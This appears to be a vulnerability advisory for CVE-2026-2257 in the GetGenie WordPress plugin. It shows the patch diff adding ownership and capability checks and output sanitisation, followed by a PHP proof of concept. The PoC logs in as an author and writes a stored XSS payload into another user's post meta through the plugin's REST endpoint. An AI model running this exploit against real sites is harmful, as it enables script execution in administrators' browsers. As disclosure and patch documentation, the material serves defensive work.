CVE-2026-2257: GetGenie <= 4.3.2 – Insecure Direct Object Reference to Authenticated (Author+) Stored Cross-Site Scripting via REST API (getgenie)

--- a/getgenie/app/Api/GetGenieChat.php
+++ b/getgenie/app/Api/GetGenieChat.php
@@ -75,6 +75,15 @@
             $conversation_id = wp_insert_post($record);
             $message = 'Chat created successfully.';
         } else {
+            // Verify the post exists, belongs to current user, and is the correct post type
+            $post = get_post($conversation_id);
+            if (!$post || $post->post_type !== 'getgenie_chat' || (int) $post->post_author !== get_current_user_id()) {
+                return [
+                    'status'  => 'fail',
+                    'message' => ['Access denied. You can only update your own chat conversations.'],
+                ];
+            }
+
             $record = array(
                 'ID'          => $conversation_id,
                 'post_title'  => $req->templateSlug . '-' . date('Y-m-d H:i:s'),
--- a/getgenie/app/Api/Store.php
+++ b/getgenie/app/Api/Store.php
@@ -29,7 +29,9 @@
             ];
         }

-        if (!is_user_logged_in() || !current_user_can('publish_posts')) {
+        $post_id = $request['post_id'];
+
+        if (!is_user_logged_in() || !current_user_can('edit_post', $post_id)) {
             return [
                 'status'  => 'fail',
                 'message' => ['Access denied.'],
@@ -37,8 +39,6 @@
         }

         $data = $request->get_body();
-
-        $post_id = $request['post_id'];
         $key     = $request['key'];
         $prefix  = GETGENIE_BLOGWIZARD_PREFIX;

@@ -71,6 +71,9 @@

         }

+        // Sanitize the data to prevent XSS attacks
+        $data = wp_kses_post($data);
+
         update_post_meta($post_id, $prefix . $key, wp_slash($data));

         return [
--- a/getgenie/getgenie.php
+++ b/getgenie/getgenie.php
@@ -5,7 +5,7 @@
  * Description:  GetGenie AI is the most intuitive A.I Content Wordpress Plugin that can help you save time and write smarter.
  * Plugin URI: https://getgenie.ai/
  * Author: getgenieai
- * Version: 4.3.2
+ * Version: 4.3.3
  * Author URI: https://getgenie.ai/
  *
  * Text Domain: getgenie
@@ -20,7 +20,7 @@

 defined('ABSPATH') || exit;

-define('GETGENIE_VERSION', '4.3.2');
+define('GETGENIE_VERSION', '4.3.3');
 define('GETGENIE_TEXTDOMAIN', 'getgenie');
 define('GETGENIE_BASENAME', plugin_basename(__FILE__));
 define('GETGENIE_URL', trailingslashit(plugin_dir_url(__FILE__)));

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2257 - GetGenie <= 4.3.2 - Insecure Direct Object Reference to Authenticated (Author+) Stored Cross-Site Scripting via REST API
<?php
$target_url = 'https://example.com';
$username = 'author_user';
$password = 'author_pass';
$victim_post_id = 123; // ID of a post the author does not own
$payload = '<img src=x onerror=alert(document.domain)>';

// 1. Authenticate to WordPress and obtain a nonce (if required) or session cookie.
// This PoC assumes the REST endpoint does not require a nonce for authenticated users, which is part of the vulnerability.
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-login.php',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query(['log' => $username, 'pwd' => $password]),
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_FOLLOWLOCATION => true
]);
curl_exec($ch);
curl_close($ch);

// 2. Exploit the IDOR via the vulnerable REST endpoint to store malicious meta data.
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-json/getgenie/v1/store',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => json_encode(['post_id' => $victim_post_id, 'key' => 'some_meta_key', 'data' => $payload]),
    CURLOPT_HTTPHEADER => ['Content-Type: application/json'],
    CURLOPT_COOKIEFILE => 'cookies.txt'
]);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Code: $httpCoden";
echo "Response: $responsen";
// A successful exploit will return a JSON object with status 'success'.
// The XSS payload will execute when an admin views the post's Competitor tab in the GetGenie sidebar.
?>